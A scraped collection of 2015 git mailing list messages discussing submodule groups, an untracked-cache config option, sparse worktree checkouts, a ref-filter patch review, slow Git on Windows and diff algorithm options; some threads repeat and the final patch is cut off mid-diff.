> +to Nguyễn Thái Ngọc Duy 
>
> On Mon, Nov 23, 2015 at 6:22 PM, Anthony Sottile  wrote:
>> * Short description of the problem *
>>
>> It seems GIT_WORK_DIR is now exported invariantly when calling git
>> hooks such as pre-commit.  If these hooks involve cloning repositories
>> they will not fail due to this exported environment variable.  This
>> was not the case in prior versions (such as v2.5.0).

I'm getting good at fixing one bug and adding ten more. I don't think
the cited commit is the problem. It just exposes another bug. I did

> ~/w/git $ GIT_WORK_TREE=abc ./git clone .git /tmp/def

and what I got was really surprising, /tmp/def contains the git
repository while the true worktree is in "abc". It does not make
sense, at least from the first sight, unless it inherits this from
git-init, where we do(?)  want GIT_WORK_TREE to specify a separate
worktree. No time to dig to the bottom yet..
-- 
Duy
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH 5/5] builtin/clone: support submodule groups

On Wed, Nov 25, 2015 at 11:50 AM, Jens Lehmann  wrote:
>
>> My thinking is that groups are implying recursive, whereas recursive
>> implies
>> "all groups", so a git clone --group  --recursive
>> makes not much sense to me as it begs the question, what does --recursive
>> mean?
>
>
> Groups are only about what submodules to update and have nothing to
> do with recursion. It might make sense to imply recursion, but that's
> just because that should have been the default for submodules from day
> one. Recursion and groups are orthogonal, the first is about what to
> do inside the submodules (carry on or not?) and the latter is about
> what to do in the superproject (shall I update this submodule?).

I see. So we would not want to mutually exclude recurse and groups,
but rather have groups implies --recurse, but you are allowed to give
--no-recurse if you explicitely do not want to recurse into the subsubmodules.

>
>> Probably recurse into all submodules which are implied by the group
>>
>> .
>
>
> Yep. We also do not recurse into those submodules having set their
> update setting to "none", so we do not do that for submodules not
> in any chosen group either.
>
>> And then get all the nested submodules. But in case
>>
>> you use the grouping feature, you could just mark the nested submodules
>> with
>> groups, too?
>
>
> Not in the top superproject. In a submodule you can specify new groups
> for its sub-submodules, but these will in most cases be different from
> those of the superproject.
>
> Imagine I have this really cool Metaproject which contains the Android
> superproject as a submodule. Those two will define different groups,
> and when recursing into the android submodule I need to choose from the
> Android specific groups. So my Metaproject's .gitmodules could look like
> this:
>
> [submodule "android"]
> path = android
> url = git://...
> groups = default,mobile
> subgroups = devel
>
> "groups" tells git what superproject groups the android submodule
> belongs to, and "subgroups" tells git what android submodules are
> to be checked out when running recursively into it. If you do not
> configure "subgroups", the whole android submodule is updated when
> one of the groups "default" or "mobile" is chosen in the superproject.

I like the concept of subgroups as it allows to have some control over
subsubmodules you may want to aggregate from a third party via the
middleman submodule.

I'd prefer to delay that feature though by not giving a high priority.
Also would you go with subsubgroups, too? When does the recursion
end? In case we have more than the union of groups, but also prohibitive
terms available, could subgroups clash with the submodules groups spec?
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC/PATCH] config: add core.trustmtime

On Wed, Nov 25, 2015 at 10:00 AM, Ævar Arnfjörð Bjarmason
 wrote:
> On Wed, Nov 25, 2015 at 7:35 AM, Christian Couder
>  wrote:
>> At Booking.com we know that mtime works everywhere and we don't
>> want the untracked cache to stop working when a kernel is upgraded
>> or when the repo is copied to a machine with a different kernel.
>> I will add tests later if people are ok with this.
>
> I bit more info: I rolled Git out internally with this patch:
> https://github.com/avar/git/commit/c63f7c12c2664631961add7cf3da901b0b6aa2f2
>
> The --untracked-cache feature hardcodes the equivalent of:
>
> pwd; uname --kernel-name --kernel-release --kernel-version
>
> Into the index. If any of those change it prints out the "cache is
> disabled" warning.
>
> This patch will make it stop being so afraid of itself to the point of
> disabling itself on minor kernel upgrades :)

The problem is, there's no way to teach git to know it's a "minor"
upgrade.. but if there is a config key to say "don't be paranoid, I
know what I'm doing", then we can skip that check, or just warn
instead of disabling the cache.

> A few other issues with this feature I've noticed:
>
>  * There's no way to just enable it globally via the config. Makes it
> a bit of a hassle to use it. I wanted to have a config option to
> enable it via the config, how about "index.untracked_cache = true" for
> the config variable name?

If you haven't noticed, all these experimental features have no real
UI (update-index is plumbing). I have been waiting for someone like
you to start using it and figure out the best UI (then implement it)
;)

>  * Doing "cd /tmp: git --git-dir=/git/somewhere/else/.git update-index
> --untracked-cache" doesn't work how I'd expect. It hardcodes "/tmp" as
> the directory that "works" into the index, so if you use the working
> tree you'll never use the untracked cache. I spotted this because I
> carry out a bunch of git maintenance commands with --git-dir instead
> of cd-ing to the relevant directories. This works for most other
> things in git, is it a bug that it doesn't work here?

It needs the current directory at --untrack-cache time to test if the
directory satisfies the requirements. So either you cd to that
worktree, or you have to specify --worktree as well. Or am I missing
something?

>  * If you "ctrl+c" git update-index --untracked-cache at an
> inopportune time you'll end up with a mtime-test-XX directory in
> your working tree. Perhaps this tempdir should be created in the .git
> directory instead?

No because in theory .git could be on a separate file system with
different semantics. But we should probably clean those files at ^C.

>  * Maybe we should have a --test-untracked-cache option, so you can
> run the tests without enabling it.

I'd say patches welcome.

> Aside from the slight hassle of enabling this and keeping it enabled
> this feature is great. It's sped up "git status" across the board by
> about 40%. Slightly less than that on faster spinning disks, slightly
> more than that on slower ones.

I'm still waiting for the day when watchman support gets merged and
maybe poke Facebook guys to compare performance with Mercurial :)
Well, we are probably still behind Mercurial on that day.

Also, there's still work to be done. Right now it's optimized for
whole-tree "git status", Doing "git status -- abc" will not benefit
from untracked cache, similarly "git add" with pathspec..
-- 
Duy
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH 5/5] builtin/clone: support submodule groups

Am 25.11.2015 um 19:08 schrieb Stefan Beller:

On Wed, Nov 25, 2015 at 9:52 AM, Jens Lehmann  wrote:

+--group::
+   After the clone is created, all submodules which are part of the
+   group are cloned. This option can be given multiple times to
specify
+   different groups.

Ah, that answers my question in my response to the cover letter ;-)

This option will imply automatic submodule
+   updates for the groups by setting `submodule.update=groups`.

Please don't. The per-submodule update setting configures how a
submodule has to be updated, adding a global one with a completely
different meaning (what submodules should be updated?) is confusing.
Why not "submodule.groups="?

The documentation is out of date :/ as I was churning through lots of ideas,
so we do have a config submodule.groups= by now, but the
documentation is wrong.

Thanks for explaining, I did not look at the code very closely so
far so I missed that.

+   The group selection will be passed on recursively, i.e. if a
submodule
+   is cloned because of group membership, its submodules will
+   be cloned according to group membership, too. If a submodule is
+   not cloned however, its submodules are not evaluated for group
+   membership.

What do you mean by the last sentence? Did the clone fail? Then you
cannot update the submodule anyway ...

Consider nested submodules:

 A: superproject containing
 B: which contains
 C.

If you clone A with group  you won't get C as we do not traverse
the submodules of B, as we don't clone B. Maybe it's obvious?

Maybe yes. Everything about submodule C is configured in B's
.gitmodules file, not in A's. So you cannot find submodule C
in A's .gitmodules (and it thus cannot be in one of A's submodule
groups either). And if cloning B fails, you have no .gitmodules
file to get the URL of C to clone it from in the first place. So
I think the concept 'group ' doesn't make any sense
when C is a submodule of B.

@@ -864,6 +876,21 @@ int cmd_clone(int argc, const char **argv, const char
*prefix)
 option_no_checkout = 1;
 }

+   if (option_recursive && submodule_groups.nr > 0)
+   die(_("submodule groups and recursive flag are
incompatible"));

Me thinks this contradicts your description of the --group option
in the man page. I don't see why such a restriction would make
sense, what incompatibility are you trying to avoid here? Maybe
we need another submodule-specific setting to tell update what
groups to use inside that submodule?

So you want something like
 "In the top level respect the groups, but recursively get all of them"?

Nope, only those that are chosen by the groups.

My thinking is that groups are implying recursive, whereas recursive implies
"all groups", so a git clone --group  --recursive
makes not much sense to me as it begs the question, what does --recursive
mean?

Groups are only about what submodules to update and have nothing to
do with recursion. It might make sense to imply recursion, but that's
just because that should have been the default for submodules from day
one. Recursion and groups are orthogonal, the first is about what to
do inside the submodules (carry on or not?) and the latter is about
what to do in the superproject (shall I update this submodule?).

> Probably recurse into all submodules which are implied by the group

.

Yep. We also do not recurse into those submodules having set their
update setting to "none", so we do not do that for submodules not
in any chosen group either.

> And then get all the nested submodules. But in case

you use the grouping feature, you could just mark the nested submodules with
groups, too?

Not in the top superproject. In a submodule you can specify new groups
for its sub-submodules, but these will in most cases be different from
those of the superproject.

Imagine I have this really cool Metaproject which contains the Android
superproject as a submodule. Those two will define different groups,
and when recursing into the android submodule I need to choose from the
Android specific groups. So my Metaproject's .gitmodules could look like
this:

[submodule "android"]
path = android
url = git://...
groups = default,mobile
subgroups = devel

"groups" tells git what superproject groups the android submodule
belongs to, and "subgroups" tells git what android submodules are
to be checked out when running recursively into it. If you do not
configure "subgroups", the whole android submodule is updated when
one of the groups "default" or "mobile" is chosen in the superproject.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Sparse checkout in worktree

2015-11-25 Thread Michael J Gruber

Duy Nguyen venit, vidit, dixit 25.11.2015 20:38:
> On Wed, Nov 25, 2015 at 1:40 PM, Michael J Gruber
>  wrote:
>> Hi there,
>>
>> I'm wondering how much it would take to enable worktree specific sparse
>> checkouts. From a superfluous look:
>>
>> - $GIT_DIR/info/sparse_checkout needs to be worktree specific
> 
> It already is.

But where should I put the worktree specific sparse_checkout file? Is
Documentation/technical really the only place to find information about
this? And to make the existing tree sparse, do I need to rm -r and
checkout sparsely?

Michael
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH/RFC 01/10] ref-filter: introduce a parsing function for each atom in valid_atom

2015-11-25 Thread Eric Sunshine

On Wed, Nov 25, 2015 at 7:10 AM, Karthik Nayak  wrote:
> On Tue, Nov 24, 2015 at 5:14 AM, Eric Sunshine  
> wrote:
>> On Wed, Nov 11, 2015 at 2:44 PM, Karthik Nayak  wrote:
>>> Introduce a parsing function for each atom in valid_atom. Using this
>>> we can define special parsing functions for each of the atoms. Since
>>> we have a third field in valid_atom structure, we now fill out missing
>>> cmp_type values.
>>
>> I don't get it. Why do you need to "fill out missing cmp_type values"
>> considering that you're never assigning the third field in this patch?
>> Are you planning on filling in the third field in a future patch?
>
> I plan on filling that in upcoming patches. Probably, should mention that in
> the commit message.

Making it clear that this patch is preparatory for introduction of
'valid_atom' is a good idea, however, adding the unused 'valid_atom'
field in this patch is not recommended. It would be better to
introduce 'valid_atom' in the patch which actually needs it.

>>> Signed-off-by: Karthik Nayak 
>>> ---
>>> diff --git a/ref-filter.c b/ref-filter.c
>>> @@ -19,42 +19,43 @@ typedef enum { FIELD_STR, FIELD_ULONG, FIELD_TIME } 
>>> cmp_type;
>>>  static struct {
>>> const char *name;
>>> cmp_type cmp_type;
>>> +   void (*parser)(struct used_atom *atom);
>>
>> Compiler diagnostic:
>>
>> warning: declaration of 'struct used_atom' will not be
>> visible outside of this function [-Wvisibility]
>>
>> Indeed, it seems rather odd to introduce the new field in this patch
>> but never actually do anything with it. It's difficult to understand
>> the intention.
>
> This is to make way for upcoming patches. But the compiler error is
> accurate used_atom only becomes a structure in the next patch.
> Should change that.

This problem will go away if you introduce the 'valid_atom' field in
the patch which actually needs it (as suggested above) rather than in
this patch.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Sparse checkout in worktree

On Wed, Nov 25, 2015 at 1:40 PM, Michael J Gruber
 wrote:
> Hi there,
>
> I'm wondering how much it would take to enable worktree specific sparse
> checkouts. From a superfluous look:
>
> - $GIT_DIR/info/sparse_checkout needs to be worktree specific

It already is.

> - We don't have much tooling around sparse to speak of at all.
>
> The endgoal would be to have something like
>
> git checkout [--sparse ]...
>
> which sets up the sparse_checkout file and "git worktree" to pass any
> --sparse option on to "git checkout"

Or.. convert pathspec specified at 'git-checkout' (or git-worktree)
into sparse patterns. For example,

git worktree add --sparse some-path branch --  foo/

will automatically create sparse-checkout file that limits to 'foo'.
Not easy (and in some cases probably impossible), but it's more
intuitive.
.
> While in an ideal world we all have micro repos, in the real world we
> often have larger repos with mostly independent subdirs. For a quick fix
> on a side branch in a subdir, a new sparse worktree would be an ideal
> lean solution.

Sparse checkout should eventually be replaced with something better
that does not keep full tree in index, but I don't think anybody is
working on that..

> As it is, "git stash save && git checkout" is leaner but interrupts the
> workflow more, and a local "git clone" with links and alternates is
> leaner, too, but conceptually overkill if you want to work quickly on an
> existing side branch.
--
Duy
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC PATCH 0/5] Submodule Groups


(Sorry for the resend of my last mail, but I received bounce messages
from my email provider)

Am 25.11.2015 um 19:00 schrieb Stefan Beller:

--cc Johannes Sixt

On Wed, Nov 25, 2015 at 9:35 AM, Jens Lehmann  wrote:

[submodule "gcc"]
  path = gcc
  url = git://...
  groups = default,devel
[submodule "linux"]
  path = linux
  url = git://...
  groups = default
[submodule "nethack"]
  path = nethack
  url = git://...
  groups = optional,games



Yup. Do you want the user to select only a single group or do you
plan to support selecting multiple groups at the same time too?


Yes you should be able to select multiple groups, such as
default+devel or alternatively default+games.

The logical OR is supported in this patch series (all submodules which are
in at least one of the specified groups,i.e. A OR B OR C ...)


Good, this is more flexible than restricting that to just a
single group.


and by this series you can work on an arbitrary subgroup of these
submodules such
using these commands:

  git clone --group default --group devel git://...
  # will clone the superproject and recursively
  # checkout any submodule being in at least one of the groups.



Does this automatically configure the given group in .git/config, so
that all future submodule related commands know about this choice?
Me thinks that would make sense ...


It does. Internally it does

 git config submodule.groups A,B
 git submodule update --init --groups

whereas submodule update checks if the submodule.groups
value is set and if so operates on the groups only.


Makes sense (except for the "--groups" argument, see below ;-).




  # as support for clone we want to have:
  git config submodule.groups default
  git submodule init --groups



Hmm, I doubt it makes much sense to add the --group option to "git
submodule init". I'd rather init all submodules and do the group
handling only in the "git submodule update" command. That way
upstream can change grouping later without having the user to
fiddle with her configuration to make that work.


Well if upstream changes grouping later, you could just run

 git submodule update --init --groups

and get what you want?


And make life harder than necessary for our users without having
a reason for that? Except for the URL copying submodule settings
on init is wrong, as it sets in stone what happened to be in the
.gitmodules file when you ran init and doesn't allow upstream to
easily change defaults later. We still do that with the update
setting for historical reasons, but I avoided making the same
mistake with all the options I added later. You can override
these settings if you want or need to, but that shouldn't be
necessary by default to make life easier for our users.


  # will init all submodules from the default group

  # as support for clone we want to have:
  git config submodule.groups default
  git submodule update --groups

  # will update all submodules from the default group

Any feedback welcome, specially on the design level!
(Do we want to have it stored in the .gitmodules file? Do we want to have
the groups configured in .git/config as "submodule.groups", any other way
to make it future proof and extend the groups syntax?)



Not sure what exactly you mean by "it" here ;-)

Talking about what groups a submodule belongs to, an entry in the
.gitmodules file makes the most sense to me. That way upstream can
change submodule grouping or add new submodules with group assignments
from commit to commit, and "git submodule update" will do the right
thing for the superproject commit checked out.

And I believe that the choice which group(s?) the user is interested
should be recorded in .git/config, as that is his personal setting
that shouldn't be influenced by upstream changes.


Right. I once discussed with Jonathan Nieder, who dreamed of a more
logical approach to the groups/sets of submodules. So more like set theory,
i.e. have a more complicated grammar: Get all submodules which are
in either A or B or (D AND E), but which are never in F.
So I'd imagine the groups are more like bit tags, and you can describe
a patterns you want.


Ok, we can start with union and add intersection later when needed.


I guess we want some more powerful eventually, so I asked this open ended
question there.


And I don't think we need to implement everything right now, but we
should have thought things through as far as we can currently see,
to avoid running into problems later on ;-)
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

A Survey on Git contribution strategies employed by Software Intensive Organizations

2015-11-25 Thread Hassan Munir

Hello Git community,

I am studying OSS communities to investigate the OSS contributions 
strategies employed by the software-Intensive
organizations. The idea is to see how contributions to OSS help software-
Intensive organizations to gain value in relation 
to non-contributors. Therefore, a short survey of 8-10 minutes is 
formulated for the Git community to get their valuable input. 

 
Please see the survey link below:

https://docs.google.com/forms/d/1v0U-
SBYz320KNwS2hq0rsrGcn4pinO56rYskkQJ3gSA/viewform


Note: This study is part of the research work conducted at Software 
Engineering Research Group Lund University, Sweden. Your responses will be 
highly appreciated. Thanks


Regard,
Hussan Munir, 
Doctoral Candidate. 
Dept.  of Computer Science,
Lund University, SWEDEN



--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Git super slow on Windows 7

On Wed, Nov 25, 2015 at 10:42 AM, Lars Schneider
 wrote:
> After some investigation I figured that ~50 Submodules are the culprit.
> Does anyone have an idea how to speed up Git on Windows while keeping 50 
> Submodules?
>
> Thanks,
> Lars
>
>

Use the latest version of Git ;)

Checkout the series merged at 65e1449
(2015-10-05, Merge branch 'sb/submodule-helper')

The infrastructure to rewrite "git submodule" in C is being built
incrementally.  Let's polish these early parts well enough and make
them graduate to 'next' and 'master', so that the more involved
follow-up can start cooking on a solid ground.

* sb/submodule-helper:
  submodule: rewrite `module_clone` shell function in C
  submodule: rewrite `module_name` shell function in C
  submodule: rewrite `module_list` shell function in C

More specifically the commits in there:

submodule: rewrite `module_name` shell function in C

This implements the helper `name` in C instead of shell,
yielding a nice performance boost.

Before this patch, I measured a time (best out of three):

  $ time ./t7400-submodule-basic.sh  >/dev/null
real 0m11.066s
user 0m3.348s
sys 0m8.534s

With this patch applied I measured (also best out of three)

  $ time ./t7400-submodule-basic.sh  >/dev/null
real 0m10.063s
user 0m3.044s
sys 0m7.487s
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH 1/3] prepare_packed_git(): find more garbage

On Fri, Nov 13, 2015 at 4:46 PM, Doug Kelly  wrote:
> return "no corresponding .idx";
> -   case PACKDIR_FILE_IDX:
> +   else if (seen_bits & PACKDIR_FILE_IDX && seen_bits ^ 
> ~PACKDIR_FILE_PACK)

Did you intend to use
(seen_bits & PACKDIR_FILE_IDX && !(seen_bits & PACKDIR_FILE_PACK))
here?

I was just looking at the state in peff/pu and it still has the xor
variant, which exposes more
than just the selected bit to the decision IIRC.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Git super slow on Windows 7

2015-11-25 Thread Lars Schneider

After some investigation I figured that ~50 Submodules are the culprit.
Does anyone have an idea how to speed up Git on Windows while keeping 50 
Submodules?

Thanks,
Lars


> On 25 Nov 2015, at 13:35, Lars Schneider  wrote:
> 
> Hi Johannes,
> 
> I am working with Git for Windows right now and it is dramatically slower 
> than on OS X.
> I executed "time git status" on Windows and OS X with the same repository and 
> the following results:
> 
> ## Windows git version 2.6.3.windows.1 (with enabled experimental flag on 
> install):
> real0m1.327s
> user0m0.000s
> sys 0m0.015s
> 
> 
> ## OS X git version 2.4.9 (Apple Git-60):
> git status  0.06s user 0.13s system 102% cpu 0.186 total
> 
> 
> Initially it was even slower on Windows (~1.6s). According to [1] I used the 
> following settings to make it faster:
> $ git config --global core.preloadindex true
> $ git config --global core.fscache true
> 
> Is this behavior normal/expected?
> If it is not normal, how would you debug the issue? How can I find out why it 
> is so slow?
> 
> My user drive is not on a net share and the machine has a SSD.
> 
> Thanks,
> Lars
> 
> 
> [1] 
> http://stackoverflow.com/questions/4485059/git-bash-is-extremely-slow-in-windows-7-x64

--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

diff --minimal versus --diff-algorithm=minimal

2015-11-25 Thread Дилян Палаузов


Hello,

after I put in ~/.config/git "[diff] algorithm=histogram", and called 
"git diff --minimal" I expect from git to use algorithm=minimal.  But it 
uses histogram, unless I call "--diff-algorithm=minimal".  According to 
the documentation, however, --minimal and --diff-algorithm=minimal shall 
be equivalent.


By the way, histogram produces more compact output than minimal (in 
terms of number of lines and in terms of @@ ... @@ snippets), but the 
documentation suggests, that minimal produces the most compact form that 
can be achieved.


I use git version 2.6.3.385.g1bc8fea.

Greetings
  Дилян
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH 5/5] builtin/clone: support submodule groups

On Wed, Nov 25, 2015 at 9:52 AM, Jens Lehmann  wrote:
>> +--group::
>> +   After the clone is created, all submodules which are part of the
>> +   group are cloned. This option can be given multiple times to
>> specify
>> +   different groups.
>
>
> Ah, that answers my question in my response to the cover letter ;-)
>
>> This option will imply automatic submodule
>> +   updates for the groups by setting `submodule.update=groups`.
>
>
> Please don't. The per-submodule update setting configures how a
> submodule has to be updated, adding a global one with a completely
> different meaning (what submodules should be updated?) is confusing.
> Why not "submodule.groups="?

The documentation is out of date :/ as I was churning through lots of ideas,
so we do have a config submodule.groups= by now, but the
documentation is wrong.

>
>> +   The group selection will be passed on recursively, i.e. if a
>> submodule
>> +   is cloned because of group membership, its submodules will
>> +   be cloned according to group membership, too. If a submodule is
>> +   not cloned however, its submodules are not evaluated for group
>> +   membership.
>
>
> What do you mean by the last sentence? Did the clone fail? Then you
> cannot update the submodule anyway ...

Consider nested submodules:

A: superproject containing
B: which contains
C.

If you clone A with group  you won't get C as we do not traverse
the submodules of B, as we don't clone B. Maybe it's obvious?

>> @@ -864,6 +876,21 @@ int cmd_clone(int argc, const char **argv, const char
>> *prefix)
>> option_no_checkout = 1;
>> }
>>
>> +   if (option_recursive && submodule_groups.nr > 0)
>> +   die(_("submodule groups and recursive flag are
>> incompatible"));
>
>
> Me thinks this contradicts your description of the --group option
> in the man page. I don't see why such a restriction would make
> sense, what incompatibility are you trying to avoid here? Maybe
> we need another submodule-specific setting to tell update what
> groups to use inside that submodule?

So you want something like
"In the top level respect the groups, but recursively get all of them"?

My thinking is that groups are implying recursive, whereas recursive implies
"all groups", so a git clone --group  --recursive
makes not much sense to me as it begs the question, what does --recursive
mean? Probably recurse into all submodules which are implied by the group
. And then get all the nested submodules. But in case
you use the grouping feature, you could just mark the nested submodules with
groups, too?
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC PATCH 0/5] Submodule Groups

--cc Johannes Sixt

On Wed, Nov 25, 2015 at 9:35 AM, Jens Lehmann  wrote:
>> [submodule "gcc"]
>>  path = gcc
>>  url = git://...
>>  groups = default,devel
>> [submodule "linux"]
>>  path = linux
>>  url = git://...
>>  groups = default
>> [submodule "nethack"]
>>  path = nethack
>>  url = git://...
>>  groups = optional,games
>
>
> Yup. Do you want the user to select only a single group or do you
> plan to support selecting multiple groups at the same time too?

Yes you should be able to select multiple groups, such as
default+devel or alternatively default+games.

The logical OR is supported in this patch series (all submodules which are
in at least one of the specified groups,i.e. A OR B OR C ...)

>
>> and by this series you can work on an arbitrary subgroup of these
>> submodules such
>> using these commands:
>>
>>  git clone --group default --group devel git://...
>>  # will clone the superproject and recursively
>>  # checkout any submodule being in at least one of the groups.
>
>
> Does this automatically configure the given group in .git/config, so
> that all future submodule related commands know about this choice?
> Me thinks that would make sense ...

It does. Internally it does

git config submodule.groups A,B
git submodule update --init --groups

whereas submodule update checks if the submodule.groups
value is set and if so operates on the groups only.

>
>>  git submodule add --group default --group devel git://... ..
>>  # will add a submodule, adding 2 submodule
>>  # groups to its entry in .gitmodule
>
>
> Maybe '--groups default,devel' is easier to grok? Dunno.

I guess that makes sense.

>
>>  # as support for clone we want to have:
>>  git config submodule.groups default
>>  git submodule init --groups
>
>
> Hmm, I doubt it makes much sense to add the --group option to "git
> submodule init". I'd rather init all submodules and do the group
> handling only in the "git submodule update" command. That way
> upstream can change grouping later without having the user to
> fiddle with her configuration to make that work.

Well if upstream changes grouping later, you could just run

git submodule update --init --groups

and get what you want?

>
>>  # will init all submodules from the default group
>>
>>  # as support for clone we want to have:
>>  git config submodule.groups default
>>  git submodule update --groups
>>
>>  # will update all submodules from the default group
>>
>> Any feedback welcome, specially on the design level!
>> (Do we want to have it stored in the .gitmodules file? Do we want to have
>> the groups configured in .git/config as "submodule.groups", any other way
>> to make it future proof and extend the groups syntax?)
>
>
> Not sure what exactly you mean by "it" here ;-)
>
> Talking about what groups a submodule belongs to, an entry in the
> .gitmodules file makes the most sense to me. That way upstream can
> change submodule grouping or add new submodules with group assignments
> from commit to commit, and "git submodule update" will do the right
> thing for the superproject commit checked out.
>
> And I believe that the choice which group(s?) the user is interested
> should be recorded in .git/config, as that is his personal setting
> that shouldn't be influenced by upstream changes.

Right. I once discussed with Jonathan Nieder, who dreamed of a more
logical approach to the groups/sets of submodules. So more like set theory,
i.e. have a more complicated grammar: Get all submodules which are
in either A or B or (D AND E), but which are never in F.
So I'd imagine the groups are more like bit tags, and you can describe
a patterns you want.

I guess we want some more powerful eventually, so I asked this open ended
question there.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC PATCH 0/5] Submodule Groups


Am 25.11.2015 um 02:32 schrieb Stefan Beller:

This is also available at 
https://github.com/stefanbeller/git/tree/submodule-groups
It applies on top of the submodule-parallel-patch series I sent a few minutes 
ago.

Consider having a real large software project in Git with each component
in a submodule (such as an operating system, Android, Debian, Fedora,
no toy OS such as https://github.com/gittup/gittup as that doesn't quite
demonstrate the scale of the problem).

If you have lots of submodules, you probably don't need all of them at once,
but you have functional units. Some submodules are absolutely required,
some are optional and only for very specific purposes.

This patch series adds meaning to a "groups" field in the .gitmodules file.

So you could have a .gitmodules file such as:

[submodule "gcc"]
 path = gcc
 url = git://...
 groups = default,devel
[submodule "linux"]
 path = linux
 url = git://...
 groups = default
[submodule "nethack"]
 path = nethack
 url = git://...
 groups = optional,games


Yup. Do you want the user to select only a single group or do you
plan to support selecting multiple groups at the same time too?


and by this series you can work on an arbitrary subgroup of these submodules 
such
using these commands:

 git clone --group default --group devel git://...
 # will clone the superproject and recursively
 # checkout any submodule being in at least one of the groups.


Does this automatically configure the given group in .git/config, so
that all future submodule related commands know about this choice?
Me thinks that would make sense ...


 git submodule add --group default --group devel git://... ..
 # will add a submodule, adding 2 submodule
 # groups to its entry in .gitmodule


Maybe '--groups default,devel' is easier to grok? Dunno.


 # as support for clone we want to have:
 git config submodule.groups default
 git submodule init --groups


Hmm, I doubt it makes much sense to add the --group option to "git
submodule init". I'd rather init all submodules and do the group
handling only in the "git submodule update" command. That way
upstream can change grouping later without having the user to
fiddle with her configuration to make that work.


 # will init all submodules from the default group

 # as support for clone we want to have:
 git config submodule.groups default
 git submodule update --groups

 # will update all submodules from the default group

Any feedback welcome, specially on the design level!
(Do we want to have it stored in the .gitmodules file? Do we want to have
the groups configured in .git/config as "submodule.groups", any other way
to make it future proof and extend the groups syntax?)


Not sure what exactly you mean by "it" here ;-)

Talking about what groups a submodule belongs to, an entry in the
.gitmodules file makes the most sense to me. That way upstream can
change submodule grouping or add new submodules with group assignments
from commit to commit, and "git submodule update" will do the right
thing for the superproject commit checked out.

And I believe that the choice which group(s?) the user is interested
should be recorded in .git/config, as that is his personal setting
that shouldn't be influenced by upstream changes.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH 5/5] builtin/clone: support submodule groups


Am 25.11.2015 um 02:32 schrieb Stefan Beller:

This passes each group to the `submodule update` invocation and
additionally configures the groups to be automatically updated.

Signed-off-by: Stefan Beller 
---
  Documentation/git-clone.txt | 11 
  builtin/clone.c | 33 --
  git-submodule.sh|  5 
  t/t7400-submodule-basic.sh  | 69 +
  t/t7406-submodule-update.sh | 32 +
  5 files changed, 147 insertions(+), 3 deletions(-)

diff --git a/Documentation/git-clone.txt b/Documentation/git-clone.txt
index 59d8c67..fbf68ab 100644
--- a/Documentation/git-clone.txt
+++ b/Documentation/git-clone.txt
@@ -209,6 +209,17 @@ objects from the source repository into a pack in the 
cloned repository.
repository does not have a worktree/checkout (i.e. if any of
`--no-checkout`/`-n`, `--bare`, or `--mirror` is given)

+--group::
+   After the clone is created, all submodules which are part of the
+   group are cloned. This option can be given multiple times to specify
+   different groups.


Ah, that answers my question in my response to the cover letter ;-)


This option will imply automatic submodule
+   updates for the groups by setting `submodule.update=groups`.


Please don't. The per-submodule update setting configures how a
submodule has to be updated, adding a global one with a completely
different meaning (what submodules should be updated?) is confusing.
Why not "submodule.groups="?


+   The group selection will be passed on recursively, i.e. if a submodule
+   is cloned because of group membership, its submodules will
+   be cloned according to group membership, too. If a submodule is
+   not cloned however, its submodules are not evaluated for group
+   membership.


What do you mean by the last sentence? Did the clone fail? Then you
cannot update the submodule anyway ...


  --separate-git-dir=::
Instead of placing the cloned repository where it is supposed
to be, place the cloned repository at the specified directory,
diff --git a/builtin/clone.c b/builtin/clone.c
index ce578d2..17e9f54 100644
--- a/builtin/clone.c
+++ b/builtin/clone.c
@@ -51,6 +51,7 @@ static struct string_list option_config;
  static struct string_list option_reference;
  static int option_dissociate;
  static int max_jobs = -1;
+static struct string_list submodule_groups;

  static struct option builtin_clone_options[] = {
OPT__VERBOSITY(&option_verbosity),
@@ -95,6 +96,8 @@ static struct option builtin_clone_options[] = {
   N_("separate git dir from working tree")),
OPT_STRING_LIST('c', "config", &option_config, N_("key=value"),
N_("set config inside the new repository")),
+   OPT_STRING_LIST('g', "group", &submodule_groups, N_("group"),
+   N_("clone specific submodule groups")),
OPT_END()
  };

@@ -723,9 +726,18 @@ static int checkout(void)
